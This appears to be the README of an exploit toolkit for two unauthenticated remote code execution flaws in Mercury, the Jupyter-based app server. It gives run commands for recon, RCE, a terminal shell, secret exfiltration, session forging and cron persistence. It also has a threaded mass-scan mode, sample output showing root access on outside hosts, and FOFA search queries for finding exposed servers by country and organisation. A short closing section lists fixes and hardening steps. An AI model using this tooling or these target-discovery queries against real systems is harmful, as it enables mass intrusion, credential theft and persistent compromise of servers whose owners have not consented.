Combo RCE non authentifié Mercury : CVE-2026-111058 (kernels) + CVE-2026-111057 (terminals). Par 0xNuts (@ExDev994). Tests autorisés uniquement.
Kit d'outils combo RCE non authentifié Mercury (noyaux + terminaux).
Boîte à outils combinant deux RCE non authentifiées sur mljar/mercury :
| CVE | Avis | Vecteur |
|---|---|---|
| CVE-2026-111058 | GHSA-rv4m-xm3f-3ccq | /api/kernels + execute_request |
| CVE-2026-111057 | GHSA-f8c7-rwf9-fmgm | contournement de la liste de blocage de /api/terminals |
Auteur : 0xNuts (ExDev994)
Uniquement pour des tests autorisés (labo local / cible avec autorisation écrite). Toute utilisation abusive sur des systèmes sans autorisation est illégale.
# URL repo GitHub memakai `-` (GitHub tidak mengizinkan `+` di nama repo)
git clone https://github.com/ExDev994/CVE-2026-111058-CVE-2026-111057-mercury-rce.git
cd CVE-2026-111058-CVE-2026-111057-mercury-rce
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
python exploit.py --lab
Attendez que Docker ait terminé le build, puis :
| URL | CVE actifs |
|---|---|
| http://localhost:8883 | CVE-2026-111057 + CVE-2026-111058 (Mercury 3.2.3) |
| http://localhost:8885 | CVE-2026-111058 uniquement (Mercury 3.2.5) |
# Cek vuln (POST terminals + kernels)
python exploit.py -t http://localhost:8883 -m recon
# PoC RCE (default: kernel / CVE-2026-111058)
python exploit.py -t http://localhost:8883 -m rce
# Shell via terminal (CVE-2026-111057, hanya di 3.2.3 lab)
python exploit.py -t http://localhost:8883 -m rce --sink terminals
Modifiez targets.txt (une URL par ligne), puis :
python exploit.py -m mass -tf targets.txt -rf results.txt --threads 10
Port automatique (mode mass uniquement) : si une ligne est sans port (par ex. example.com), l'outil essaie dans l'ordre :
http://example.com → 80, ou https:// → 443)Il s'arrête à la première URL vulnérable. Les lignes ayant déjà un port (http://host:8883) ne sont pas étendues.
Exemple de targets.txt :
# tanpa port → auto-fallback
example.com
mercury.internal
# dengan port → dipakai apa adanya
http://localhost:8883
192.168.1.50:8888
Terminal (verbeux) : chaque port essayé + statut final par ligne cible :
example.com [trying...]
example.com:8888 [trying...]
example.com:8000 [trying...]
example.com:5000 [trying...]
example.com [not vuln]
evil.com:8888 [trying...]
evil.com:8888 [vuln] [uid=0(root) gid=0(root) groups=0(root)]
Fichier results.txt — uniquement les vulnérables (ajout) :
http://evil.com:8888 [uid=0(root) gid=0(root) groups=0(root)]
python exploit.py -t http://localhost:8883 -m full --out exfil.json --cron
Ordre : recon → RCE → exfil secret → tentative de forge de session → persistance.
| Flag | Fonction |
|---|---|
-t / --target | URL Mercury (http://host:port) |
-m / --mode | recon, rce, exfil, full, persist, mass |
--sink | auto, kernels, terminals |
-tf | Fichier de liste de cibles (mode mass) |
-rf | Fichier de résultats vuln (mode mass) |
-th | Nombre de threads pour le scan mass |
--lab | docker compose up dans le dossier lab/ |
POST /api/terminals et POST /api/kernels pour le fingerprint de version.kernels (stealth), fallback terminals (shell interactif).idle_timeout.py, cron optionnel (lab).Le PoC déterministe écrit le marqueur /tmp/PWNED_MERCURY_RCE (voir poc/payloads.py).
mercury-combo/
├── exploit.py
├── mercury_combo/ # modul inti
├── lab/ # docker-compose + Dockerfile 3.2.3 / 3.2.5
└── poc/ # payload marker
FOFA aide seulement à trouver des candidats à l'exposition — pas de preuve de vulnérabilité. Validez toujours manuellement et respectez le périmètre d'autorisation.
Commencez de façon restreinte (branding) :
title="Mercury"
body="runmercury" || body="mljar-mercury"
Renforcez (Jupyter + Mercury) :
(title="Mercury" || body="mljar") && port="8888" && protocol="http"
header="X-Jupyter-Server-Version" && (body="mercury" || title="Mercury")
body="/api/kernels" && body="mercury" && server="Tornado"
Périmètre géographique / organisationnel (exemple) :
title="Mercury" && country="ID"
body="mljar" && port="8888" && org="Amazon"
Après avoir obtenu l'hôte, vérifiez avec cette boîte à outils (-m recon ou -m mass en lab/autorisation), ne faites pas de scan massif sans autorisation.
| Problème | CVE / avis | Correctif |
|---|---|---|
Virgule manquante dans BLOCKED_PATTERNS → /api/terminals passe | GHSA-f8c7-rwf9-fmgm | Mettre à niveau vers ≥ 3.2.4 (commit de correctif dans v3.2.4). Vérifiez que /api/terminals est réellement bloqué. |
/api/kernels peut toujours exécuter execute_request sans authentification | GHSA-rv4m-xm3f-3ccq | La liste de blocage ne suffit pas — une authentification (jeton/mot de passe Jupyter) est obligatoire par défaut ; ne déployez pas token='' sur Internet. Surveillez les versions de Mercury > 3.2.5 pour le correctif officiel. |
Checklist de durcissement :
8888 (ou le port Mercury) directement sur Internet ; le placer derrière un VPN ou un reverse proxy avec authentification (OAuth, mTLS, liste d'autorisation IP).POST /api/kernels + POST /api/terminals depuis des IP anonymes ; pic de WebSocket vers /api/kernels/*/channels et /terminals/websocket/*.Vérification après le patch :
# Harus 403/401 tanpa kredensial (bukan 201)
curl -i -X POST https://your-host/api/terminals
curl -i -X POST https://your-host/api/kernels -H 'Content-Type: application/json' -d '{"name":"python3"}'